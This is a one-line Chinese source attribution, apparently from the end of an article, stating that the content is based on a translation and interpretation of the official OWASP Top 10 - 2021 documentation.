参考来源:本文内容基于 OWASP Top 10 - 2021 官方文档翻译与解读。